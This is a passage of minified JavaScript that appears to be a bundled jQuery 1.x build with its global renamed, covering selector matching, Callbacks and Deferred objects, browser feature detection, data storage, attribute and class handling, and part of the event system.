n(e,null,null,t)},n.matchesSelector=function(e,t){if((e.ownerDocument||e)!==j&&N(e),t=t.replace(fe,"='$1']"),!(!x.matchesSelector||!I||M&&M.test(t)||P&&P.test(t)))try{var i=R.call(e,t);if(i||x.disconnectedMatch||e.document&&11!==e.document.nodeType)return i}catch(e){}return n(t,j,null,[e]).length>0},n.contains=function(e,t){return(e.ownerDocument||e)!==j&&N(e),W(e,t)},n.attr=function(e,n){(e.ownerDocument||e)!==j&&N(e);var i=k.attrHandle[n.toLowerCase()],o=i&&Q.call(k.attrHandle,n.toLowerCase())?i(e,n,!I):t;return o===t?x.attributes||!I?e.getAttribute(n):(o=e.getAttributeNode(n))&&o.specified?o.value:null:o},n.error=function(e){throw Error("Syntax error, unrecognized expression: "+e)},n.uniqueSort=function(e){var t,n=[],i=0,o=0;if(z=!x.detectDuplicates,A=!x.sortStable&&e.slice(0),e.sort(X),z){for(;t=e[o++];)t===e[o]&&(i=n.push(o));for(;i--;)e.splice(n[i],1)}return e},F=n.getText=function(e){var t,n="",i=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=F(e)}else if(3===o||4===o)return e.nodeValue}else for(;t=e[i];i++)n+=F(t);return n},k=n.selectors={cacheLength:50,createPseudo:o,match:we,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(xe,Ee),e[3]=(e[4]||e[5]||"").replace(xe,Ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||n.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&n.error(e[0]),e},PSEUDO:function(e){
1044var n,i=!e[5]&&e[2];return we.CHILD.test(e[0])?null:(e[3]&&e[4]!==t?e[2]=e[4]:i&&me.test(i)&&(n=h(i,!0))&&(n=i.indexOf(")",i.length-n)-i.length)&&(e[0]=e[0].slice(0,n),e[2]=i.slice(0,n)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(xe,Ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=U[e+" "];return t||(t=RegExp("(^|"+oe+")"+e+"("+oe+"|$)"))&&U(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==G&&e.getAttribute("class")||"")})},ATTR:function(e,t,i){return function(o){var r=n.attr(o,e);return null==r?"!="===t:!t||(r+="","="===t?r===i:"!="===t?r!==i:"^="===t?i&&0===r.indexOf(i):"*="===t?i&&r.indexOf(i)>-1:"$="===t?i&&r.slice(-i.length)===i:"~="===t?(" "+r+" ").indexOf(i)>-1:"|="===t&&(r===i||r.slice(0,i.length+1)===i+"-"))}},CHILD:function(e,t,n,i,o){var r="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===i&&0===o?function(e){return!!e.parentNode}:function(t,n,c){var u,d,l,h,p,f,m=r!==a?"nextSibling":"previousSibling",g=t.parentNode,w=s&&t.nodeName.toLowerCase(),y=!c&&!s;if(g){if(r){for(;m;){for(l=t;l=l[m];)if(s?l.nodeName.toLowerCase()===w:1===l.nodeType)return!1;f=m="only"===e&&!f&&"nextSibling"}return!0}if(f=[a?g.firstChild:g.lastChild],a&&y){for(d=g[V]||(g[V]={}),u=d[e]||[],p=u[0]===H&&u[1],h=u[0]===H&&u[2],l=p&&g.childNodes[p];l=++p&&l&&l[m]||(h=p=0)||f.pop();)if(1===l.nodeType&&++h&&l===t){d[e]=[H,p,h];break}}else if(y&&(u=(t[V]||(t[V]={}))[e])&&u[0]===H)h=u[1];else for(;(l=++p&&l&&l[m]||(h=p=0)||f.pop())&&((s?l.nodeName.toLowerCase()!==w:1!==l.nodeType)||!++h||(y&&((l[V]||(l[V]={}))[e]=[H,h]),l!==t)););return(h-=o)===i||0==h%i&&h/i>=0}}},PSEUDO:function(e,t){var i,r=k.pseudos[e]||k.setFilters[e.toLowerCase()]||n.error("unsupported pseudo: "+e);return r[V]?r(t):r.length>1?(i=[e,e,"",t],k.setFilters.hasOwnProperty(e.toLowerCase())?o(function(e,n){for(var i,o=r(e,t),a=o.length;a--;)i=ne.call(e,o[a]),e[i]=!(n[i]=o[a])}):function(e){return r(e,0,i)}):r}},pseudos:{not:o(function(e){var t=[],n=[],i=O(e.replace(ue,"$1"));return i[V]?o(function(e,t,n,o){for(var r,a=i(e,null,o,[]),s=e.length;s--;)(r=a[s])&&(e[s]=!(t[s]=r))}):function(e,o,r){return t[0]=e,i(t,null,r,n),!n.pop()}}),has:o(function(e){return function(t){return n(e,t).length>0}}),contains:o(function(e){return function(t){return(t.textContent||t.innerText||F(t)).indexOf(e)>-1}}),lang:o(function(e){return ge.test(e||"")||n.error("unsupported lang: "+e),e=e.replace(xe,Ee).toLowerCase(),function(t){var n;do{if(n=I?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===D},focus:function(e){return e===j.activeElement&&(!j.hasFocus||j.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return!1===e.disabled},disabled:function(e){return!0===e.disabled},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!k.pseudos.empty(e)},header:function(e){return Ce.test(e.nodeName)},input:function(e){return be.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:d(function(){return[0]}),last:d(function(e,t){return[t-1]}),eq:d(function(e,t,n){return[0>n?n+t:n]}),even:d(function(e,t){for(var n=0;t>n;n+=2)e.push(n);return e}),odd:d(function(e,t){for(var n=1;t>n;n+=2)e.push(n);return e}),lt:d(function(e,t,n){for(var i=0>n?n+t:n;--i>=0;)e.push(i);return e}),gt:d(function(e,t,n){for(var i=0>n?n+t:n;t>++i;)e.push(i);return e})}},k.pseudos.nth=k.pseudos.eq;for(S in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})k.pseudos[S]=c(S);for(S in{submit:!0,reset:!0})k.pseudos[S]=u(S);l.prototype=k.filters=k.pseudos,k.setFilters=new l,O=n.compile=function(e,t){var n,i=[],o=[],r=$[e+" "];if(!r){for(t||(t=h(e)),n=t.length;n--;)r=y(t[n]),r[V]?i.push(r):o.push(r);r=$(e,v(o,i))}return r},x.sortStable=V.split("").sort(X).join("")===V,x.detectDuplicates=z,N(),x.sortDetached=r(function(e){return 1&e.compareDocumentPosition(j.createElement("div"))}),r(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||a("type|href|height|width",function(e,n,i){return i?t:e.getAttribute(n,"type"===n.toLowerCase()?1:2)}),x.attributes&&r(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||a("value",function(e,n,i){return i||"input"!==e.nodeName.toLowerCase()?t:e.defaultValue}),r(function(e){return null==e.getAttribute("disabled")})||a(ie,function(e,n,i){var o;return i?t:(o=e.getAttributeNode(n))&&o.specified?o.value:!0===e[n]?n.toLowerCase():null}),de.find=n,de.expr=n.selectors,de.expr[":"]=de.expr.pseudos,de.unique=n.uniqueSort,de.text=n.getText,de.isXMLDoc=n.isXML,de.contains=n.contains}(e);var ke={};de.Callbacks=function(e){e="string"==typeof e?ke[e]||i(e):de.extend({},e);var n,o,r,a,s,c,u=[],d=!e.once&&[],l=function(t){for(o=e.memory&&t,r=!0,s=c||0,c=0,a=u.length,n=!0;u&&a>s;s++)if(!1===u[s].apply(t[0],t[1])&&e.stopOnFalse){o=!1;break}n=!1,u&&(d?d.length&&l(d.shift()):o?u=[]:h.disable())},h={add:function(){if(u){var t=u.length;(function t(n){de.each(n,function(n,i){var o=de.type(i);"function"===o?e.unique&&h.has(i)||u.push(i):i&&i.length&&"string"!==o&&t(i)})})(arguments),n?a=u.length:o&&(c=t,l(o))}return this},remove:function(){return u&&de.each(arguments,function(e,t){for(var i;(i=de.inArray(t,u,i))>-1;)u.splice(i,1),n&&(a>=i&&a--,s>=i&&s--)}),this},has:function(e){return e?de.inArray(e,u)>-1:!(!u||!u.length)},empty:function(){return u=[],a=0,this},disable:function(){return u=d=o=t,this},disabled:function(){return!u},lock:function(){return d=t,o||h.disable(),this},locked:function(){return!d},fireWith:function(e,t){return!u||r&&!d||(t=t||[],t=[e,t.slice?t.slice():t],n?d.push(t):l(t)),this},fire:function(){return h.fireWith(this,arguments),this},fired:function(){return!!r}};return h},de.extend({Deferred:function(e){var t=[["resolve","done",de.Callbacks("once memory"),"resolved"],["reject","fail",de.Callbacks("once memory"),"rejected"],["notify","progress",de.Callbacks("memory")]],n="pending",i={state:function(){return n},always:function(){return o.done(arguments).fail(arguments),this},then:function(){var e=arguments;return de.Deferred(function(n){de.each(t,function(t,r){var a=r[0],s=de.isFunction(e[t])&&e[t];o[r[1]](function(){var e=s&&s.apply(this,arguments);e&&de.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a+"With"](this===i?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?de.extend(e,i):i}},o={};return i.pipe=i.then,de.each(t,function(e,r){var a=r[2],s=r[3];i[r[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),o[r[0]]=function(){return o[r[0]+"With"](this===o?i:this,arguments),this},o[r[0]+"With"]=a.fireWith}),i.promise(o),e&&e.call(o,o),o},when:function(e){var t,n,i,o=0,r=re.call(arguments),a=r.length,s=1!==a||e&&de.isFunction(e.promise)?a:0,c=1===s?e:de.Deferred(),u=function(e,n,i){return function(o){n[e]=this,i[e]=arguments.length>1?re.call(arguments):o,i===t?c.notifyWith(n,i):--s||c.resolveWith(n,i)}};if(a>1)for(t=Array(a),n=Array(a),i=Array(a);a>o;o++)r[o]&&de.isFunction(r[o].promise)?r[o].promise().done(u(o,i,r)).fail(c.reject).progress(u(o,n,t)):--s;return s||c.resolveWith(i,r),c.promise()}}),de.support=function(t){var n,i,o,r,a,s,c,u,d,l=Q.createElement("div");if(l.setAttribute("className","t"),l.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=l.getElementsByTagName("*")||[],!(i=l.getElementsByTagName("a")[0])||!i.style||!n.length)return t;r=Q.createElement("select"),s=r.appendChild(Q.createElement("option")),o=l.getElementsByTagName("input")[0],i.style.cssText="top:1px;float:left;opacity:.5",t.getSetAttribute="t"!==l.className,t.leadingWhitespace=3===l.firstChild.nodeType,t.tbody=!l.getElementsByTagName("tbody").length,t.htmlSerialize=!!l.getElementsByTagName("link").length,t.style=/top/.test(i.getAttribute("style")),t.hrefNormalized="/a"===i.getAttribute("href"),t.opacity=/^0.5/.test(i.style.opacity),t.cssFloat=!!i.style.cssFloat,t.checkOn=!!o.value,t.optSelected=s.selected,t.enctype=!!Q.createElement("form").enctype,t.html5Clone="<:nav></:nav>"!==Q.createElement("nav").cloneNode(!0).outerHTML,t.inlineBlockNeedsLayout=!1,t.shrinkWrapBlocks=!1,t.pixelPosition=!1,t.deleteExpando=!0,t.noCloneEvent=!0,t.reliableMarginRight=!0,t.boxSizingReliable=!0,o.checked=!0,t.noCloneChecked=o.cloneNode(!0).checked,r.disabled=!0,t.optDisabled=!s.disabled;try{delete l.test}catch(e){t.deleteExpando=!1}o=Q.createElement("input"),o.setAttribute("value",""),t.input=""===o.getAttribute("value"),o.value="t",o.setAttribute("type","radio"),t.radioValue="t"===o.value,o.setAttribute("checked","t"),o.setAttribute("name","t"),a=Q.createDocumentFragment(),a.appendChild(o),t.appendChecked=o.checked,t.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,l.attachEvent&&(l.attachEvent("onclick",function(){t.noCloneEvent=!1}),l.cloneNode(!0).click());for(d in{submit:!0,change:!0,focusin:!0})l.setAttribute(c="on"+d,"t"),t[d+"Bubbles"]=c in e||!1===l.attributes[c].expando;l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===l.style.backgroundClip;for(d in de(t))break;return t.ownLast="0"!==d,de(function(){var n,i,o,r="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",a=Q.getElementsByTagName("body")[0];a&&(n=Q.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",a.appendChild(n).appendChild(l),l.innerHTML="<table><tr><td></td><td>t</td></tr></table>",o=l.getElementsByTagName("td"),o[0].style.cssText="padding:0;margin:0;border:0;display:none",u=0===o[0].offsetHeight,o[0].style.display="",o[1].style.display="none",t.reliableHiddenOffsets=u&&0===o[0].offsetHeight,l.innerHTML="",l.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",de.swap(a,null!=a.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===l.offsetWidth}),e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(l,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(l,null)||{width:"4px"}).width,i=l.appendChild(Q.createElement("div")),i.style.cssText=l.style.cssText=r,i.style.marginRight=i.style.width="0",l.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(i,null)||{}).marginRight)),typeof l.style.zoom!==G&&(l.innerHTML="",l.style.cssText=r+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===l.offsetWidth,l.style.display="block",l.innerHTML="<div></div>",l.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==l.offsetWidth,t.inlineBlockNeedsLayout&&(a.style.zoom=1)),a.removeChild(n),n=l=o=i=null)}),n=r=a=s=i=o=null,t}({});var Fe=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,Te=/([A-Z])/g;de.extend({cache:{},noData:{applet:!0,embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return!!(e=e.nodeType?de.cache[e[de.expando]]:e[de.expando])&&!s(e)},data:function(e,t,n){return o(e,t,n)},removeData:function(e,t){return r(e,t)},_data:function(e,t,n){return o(e,t,n,!0)},_removeData:function(e,t){return r(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType)return!1;var t=e.nodeName&&de.noData[e.nodeName.toLowerCase()];return!t||!0!==t&&e.getAttribute("classid")===t}}),de.fn.extend({data:function(e,n){var i,o,r=null,s=0,c=this[0];if(e===t){if(this.length&&(r=de.data(c),1===c.nodeType&&!de._data(c,"parsedAttrs"))){for(i=c.attributes;i.length>s;s++)o=i[s].name,0===o.indexOf("data-")&&(o=de.camelCase(o.slice(5)),a(c,o,r[o]));de._data(c,"parsedAttrs",!0)}return r}return"object"==typeof e?this.each(function(){de.data(this,e)}):arguments.length>1?this.each(function(){de.data(this,e,n)}):c?a(c,e,de.data(c,e)):null},removeData:function(e){return this.each(function(){de.removeData(this,e)})}}),de.extend({queue:function(e,n,i){var o;return e?(n=(n||"fx")+"queue",o=de._data(e,n),i&&(!o||de.isArray(i)?o=de._data(e,n,de.makeArray(i)):o.push(i)),o||[]):t},dequeue:function(e,t){t=t||"fx";var n=de.queue(e,t),i=n.length,o=n.shift(),r=de._queueHooks(e,t),a=function(){de.dequeue(e,t)};"inprogress"===o&&(o=n.shift(),i--),o&&("fx"===t&&n.unshift("inprogress"),delete r.stop,o.call(e,a,r)),!i&&r&&r.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return de._data(e,n)||de._data(e,n,{empty:de.Callbacks("once memory").add(function(){de._removeData(e,t+"queue"),de._removeData(e,n)})})}}),de.fn.extend({queue:function(e,n){var i=2;return"string"!=typeof e&&(n=e,e="fx",i--),i>arguments.length?de.queue(this[0],e):n===t?this:this.each(function(){var t=de.queue(this,e,n);de._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&de.dequeue(this,e)})},dequeue:function(e){return this.each(function(){de.dequeue(this,e)})},delay:function(e,t){return e=de.fx?de.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var i=setTimeout(t,e);n.stop=function(){clearTimeout(i)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var i,o=1,r=de.Deferred(),a=this,s=this.length,c=function(){--o||r.resolveWith(a,[a])};for("string"!=typeof e&&(n=e,e=t),e=e||"fx";s--;)(i=de._data(a[s],e+"queueHooks"))&&i.empty&&(o++,i.empty.add(c));return c(),r.promise(n)}});var Oe,_e,Ae=/[\t\r\n\f]/g,Ne=/\r/g,je=/^(?:input|select|textarea|button|object)$/i,De=/^(?:a|area)$/i,Ie=/^(?:checked|selected)$/i,Pe=de.support.getSetAttribute,Me=de.support.input;de.fn.extend({attr:function(e,t){return de.access(this,de.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){de.removeAttr(this,e)})},prop:function(e,t){return de.access(this,de.prop,e,t,arguments.length>1)},removeProp:function(e){return e=de.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(e){}})},addClass:function(e){var t,n,i,o,r,a=0,s=this.length,c="string"==typeof e&&e;if(de.isFunction(e))return this.each(function(t){de(this).addClass(e.call(this,t,this.className))});if(c)for(t=(e||"").match(he)||[];s>a;a++)if(n=this[a],i=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Ae," "):" ")){for(r=0;o=t[r++];)0>i.indexOf(" "+o+" ")&&(i+=o+" ");n.className=de.trim(i)}return this},removeClass:function(e){var t,n,i,o,r,a=0,s=this.length,c=0===arguments.length||"string"==typeof e&&e;if(de.isFunction(e))return this.each(function(t){de(this).removeClass(e.call(this,t,this.className))});if(c)for(t=(e||"").match(he)||[];s>a;a++)if(n=this[a],i=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Ae," "):"")){for(r=0;o=t[r++];)for(;i.indexOf(" "+o+" ")>=0;)i=i.replace(" "+o+" "," ");n.className=e?de.trim(i):""}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):de.isFunction(e)?this.each(function(n){de(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n)for(var t,i=0,o=de(this),r=e.match(he)||[];t=r[i++];)o.hasClass(t)?o.removeClass(t):o.addClass(t);else(n===G||"boolean"===n)&&(this.className&&de._data(this,"__className__",this.className),this.className=this.className||!1===e?"":de._data(this,"__className__")||"")})},hasClass:function(e){for(var t=" "+e+" ",n=0,i=this.length;i>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(Ae," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,i,o,r=this[0];return arguments.length?(o=de.isFunction(e),this.each(function(n){var r;1===this.nodeType&&(r=o?e.call(this,n,de(this).val()):e,null==r?r="":"number"==typeof r?r+="":de.isArray(r)&&(r=de.map(r,function(e){return null==e?"":e+""})),(i=de.valHooks[this.type]||de.valHooks[this.nodeName.toLowerCase()])&&"set"in i&&i.set(this,r,"value")!==t||(this.value=r))})):r?(i=de.valHooks[r.type]||de.valHooks[r.nodeName.toLowerCase()],i&&"get"in i&&(n=i.get(r,"value"))!==t?n:(n=r.value,"string"==typeof n?n.replace(Ne,""):null==n?"":n)):void 0}}),de.extend({valHooks:{option:{get:function(e){var t=de.find.attr(e,"value");return null!=t?t:e.text}},select:{get:function(e){for(var t,n,i=e.options,o=e.selectedIndex,r="select-one"===e.type||0>o,a=r?null:[],s=r?o+1:i.length,c=0>o?s:r?o:0;s>c;c++)if(n=i[c],!(!n.selected&&c!==o||(de.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&de.nodeName(n.parentNode,"optgroup"))){if(t=de(n).val(),r)return t;a.push(t)}return a},set:function(e,t){for(var n,i,o=e.options,r=de.makeArray(t),a=o.length;a--;)i=o[a],(i.selected=de.inArray(de(i).val(),r)>=0)&&(n=!0);return n||(e.selectedIndex=-1),r}}},attr:function(e,n,i){var o,r,a=e.nodeType;if(e&&3!==a&&8!==a&&2!==a)return typeof e.getAttribute===G?de.prop(e,n,i):(1===a&&de.isXMLDoc(e)||(n=n.toLowerCase(),o=de.attrHooks[n]||(de.expr.match.bool.test(n)?_e:Oe)),i===t?o&&"get"in o&&null!==(r=o.get(e,n))?r:(r=de.find.attr(e,n),null==r?t:r):null!==i?o&&"set"in o&&(r=o.set(e,i,n))!==t?r:(e.setAttribute(n,i+""),i):(de.removeAttr(e,n),t))},removeAttr:function(e,t){var n,i,o=0,r=t&&t.match(he);if(r&&1===e.nodeType)for(;n=r[o++];)i=de.propFix[n]||n,de.expr.match.bool.test(n)?Me&&Pe||!Ie.test(n)?e[i]=!1:e[de.camelCase("default-"+n)]=e[i]=!1:de.attr(e,n,""),e.removeAttribute(Pe?n:i)},attrHooks:{type:{set:function(e,t){if(!de.support.radioValue&&"radio"===t&&de.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{"for":"htmlFor","class":"className"},prop:function(e,n,i){var o,r,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return a=1!==s||!de.isXMLDoc(e),a&&(n=de.propFix[n]||n,r=de.propHooks[n]),i!==t?r&&"set"in r&&(o=r.set(e,i,n))!==t?o:e[n]=i:r&&"get"in r&&null!==(o=r.get(e,n))?o:e[n]},propHooks:{tabIndex:{get:function(e){var t=de.find.attr(e,"tabindex");return t?parseInt(t,10):je.test(e.nodeName)||De.test(e.nodeName)&&e.href?0:-1}}}}),_e={set:function(e,t,n){return!1===t?de.removeAttr(e,n):Me&&Pe||!Ie.test(n)?e.setAttribute(!Pe&&de.propFix[n]||n,n):e[de.camelCase("default-"+n)]=e[n]=!0,n}},de.each(de.expr.match.bool.source.match(/\w+/g),function(e,n){var i=de.expr.attrHandle[n]||de.find.attr;de.expr.attrHandle[n]=Me&&Pe||!Ie.test(n)?function(e,n,o){var r=de.expr.attrHandle[n],a=o?t:(de.expr.attrHandle[n]=t)!=i(e,n,o)?n.toLowerCase():null;return de.expr.attrHandle[n]=r,a}:function(e,n,i){return i?t:e[de.camelCase("default-"+n)]?n.toLowerCase():null}}),Me&&Pe||(de.attrHooks.value={set:function(e,n,i){return de.nodeName(e,"input")?(e.defaultValue=n,t):Oe&&Oe.set(e,n,i)}}),Pe||(Oe={set:function(e,n,i){var o=e.getAttributeNode(i);return o||e.setAttributeNode(o=e.ownerDocument.createAttribute(i)),o.value=n+="","value"===i||n===e.getAttribute(i)?n:t}},de.expr.attrHandle.id=de.expr.attrHandle.name=de.expr.attrHandle.coords=function(e,n,i){var o;return i?t:(o=e.getAttributeNode(n))&&""!==o.value?o.value:null},de.valHooks.button={get:function(e,n){var i=e.getAttributeNode(n);return i&&i.specified?i.value:t},set:Oe.set},de.attrHooks.contenteditable={set:function(e,t,n){Oe.set(e,""!==t&&t,n)}},de.each(["width","height"],function(e,n){de.attrHooks[n]={set:function(e,i){return""===i?(e.setAttribute(n,"auto"),i):t}}})),de.support.hrefNormalized||de.each(["href","src"],function(e,t){de.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),de.support.style||(de.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t+""}}),de.support.optSelected||(de.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),de.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){de.propFix[this.toLowerCase()]=this}),de.support.enctype||(de.propFix.enctype="encoding"),de.each(["radio","checkbox"],function(){de.valHooks[this]={set:function(e,n){return de.isArray(n)?e.checked=de.inArray(de(e).val(),n)>=0:t}},de.support.checkOn||(de.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Re=/^(?:input|select|textarea)$/i,We=/^key/,Ve=/^(?:mouse|contextmenu)|click/,Le=/^(?:focusinfocus|focusoutblur)$/,He=/^([^.]*)(?:\.(.+)|)$/;de.event={global:{},add:function(e,n,i,o,r){var a,s,c,u,d,l,h,p,f,m,g,w=de._data(e);if(w){for(i.handler&&(u=i,i=u.handler,r=u.selector),i.guid||(i.guid=de.guid++),(s=w.events)||(s=w.events={}),(l=w.handle)||(l=w.handle=function(e){return typeof de===G||e&&de.event.triggered===e.type?t:de.event.dispatch.apply(l.elem,arguments)},l.elem=e),n=(n||"").match(he)||[""],c=n.length;c--;)a=He.exec(n[c])||[],f=g=a[1],m=(a[2]||"").split(".").sort(),f&&(d=de.event.special[f]||{},f=(r?d.delegateType:d.bindType)||f,d=de.event.special[f]||{},h=de.extend({type:f,origType:g,data:o,handler:i,guid:i.guid,selector:r,needsContext:r&&de.expr.match.needsContext.test(r),namespace:m.join(".")},u),(p=s[f])||(p=s[f]=[],p.delegateCount=0,d.setup&&!1!==d.setup.call(e,o,m,l)||(e.addEventListener?e.addEventListener(f,l,!1):e.attachEvent&&e.attachEvent("on"+f,l))),d.add&&(d.add.call(e,h),h.handler.guid||(h.handler.guid=i.guid)),r?p.splice(p.delegateCount++,0,h):p.push(h),de.event.global[f]=!0);e=null}},remove:function(e,t,n,i,o){var r,a,s,c,u,d,l,h,p,f,m,g=de.hasData(e)&&de._data(e);if(g&&(d=g.events)){for(t=(t||"").match(he)||[""],u=t.length;u--;)if(s=He.exec(t[u])||[],p=m=s[1],f=(s[2]||"").split(".").sort(),p){for(l=de.event.special[p]||{},p=(i?l.delegateType:l.bindType)||p,h=d[p]||[],s=s[2]&&RegExp("(^|\\.)"+f.join("\\.(?:.*\\.|)")+"(\\.|$)"),c=r=h.length;r--;)a=h[r],!o&&m!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||i&&i!==a.selector&&("**"!==i||!a.selector)||(h.splice(r,1),a.selector&&h.delegateCount--,l.remove&&l.remove.call(e,a));c&&!h.length&&(l.teardown&&!1!==l.teardown.call(e,f,g.handle)||de.removeEvent(e,p,g.handle),delete d[p])}else for(p in d)de.event.remove(e,p+t[u],n,i,!0);de.isEmptyObject(d)&&(delete g.handle,de._removeData(e,"events"))}},trigger:function(n,i,o,r){var a,s,c,u,d,l,h,p=[o||Q],f=ce.call(n,"type")?n.type:n,m=ce.call(n,"namespace")?n.namespace.split("."):[];if(c=l=o=o||Q,3!==o.nodeType&&8!==o.nodeType&&!Le.test(f+de.event.triggered)&&(f.indexOf(".")>=0&&(m=f.split("."),f=m.shift(),m.sort()),s=0>f.indexOf(":")&&"on"+f,n=n[de.expando]?n:new de.Event(f,"object"==typeof n&&n),n.isTrigger=r?2:3,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,n.result=t,n.target||(n.target=o),i=null==i?[n]:de.makeArray(i,[n]),d=de.event.special[f]||{},r||!d.trigger||!1!==d.trigger.apply(o,i))){if(!r&&!d.noBubble&&!de.isWindow(o)){for(u=d.delegateType||f,Le.test(u+f)||(c=c.parentNode);c;c=c.parentNode)p.push(c),l=c;l===(o.ownerDocument||Q)&&p.push(l.defaultView||l.parentWindow||e)}for(h=0;(c=p[h++])&&!n.isPropagationStopped();)n.type=h>1?u:d.bindType||f,a=(de._data(c,"events")||{})[n.type]&&de._data(c,"handle"),a&&a.apply(c,i),(a=s&&c[s])&&de.acceptData(c)&&a.apply&&!1===a.apply(c,i)&&n.preventDefault();if(n.type=f,!r&&!n.isDefaultPrevented()&&(!d._default||!1===d._default.apply(p.pop(),i))&&de.acceptData(o)&&s&&o[f]&&!de.isWindow(o)){l=o[s],l&&(o[s]=null),de.event.triggered=f;try{o[f]()}catch(e){}de.event.triggered=t,l&&(o[s]=l)}return n.result}},dispatch:function(e){e=de.event.fix(e);var n,i,o,r,a,s=[],c=re.call(arguments),u=(de._data(this,"events")||{})[e.type]||[],d=de.event.special[e.type]||{};if(c[0]=e,e.delegateTarget=this,!d.preDispatch||!1!==d.preDispatch.call(this,e)){for(s=de.event.handlers.call(this,e,u),n=0;(r=s[n++])&&!e.isPropagationStopped();)for(e.currentTarget=r.elem,a=0;(o=r.handlers[a++])&&!e.isImmediatePropagationStopped();)(!e.namespace_re||e.namespace_re.test(o.namespace))&&(e.handleObj=o,e.data=o.data,(i=((de.event.special[o.origType]||{}).handle||o.handler).apply(r.elem,c))!==t&&!1===(e.result=i)&&(e.preventDefault(),e.stopPropagation()));return d.postDispatch&&d.postDispatch.call(this,e),e.result}},handlers:function(e,n){var 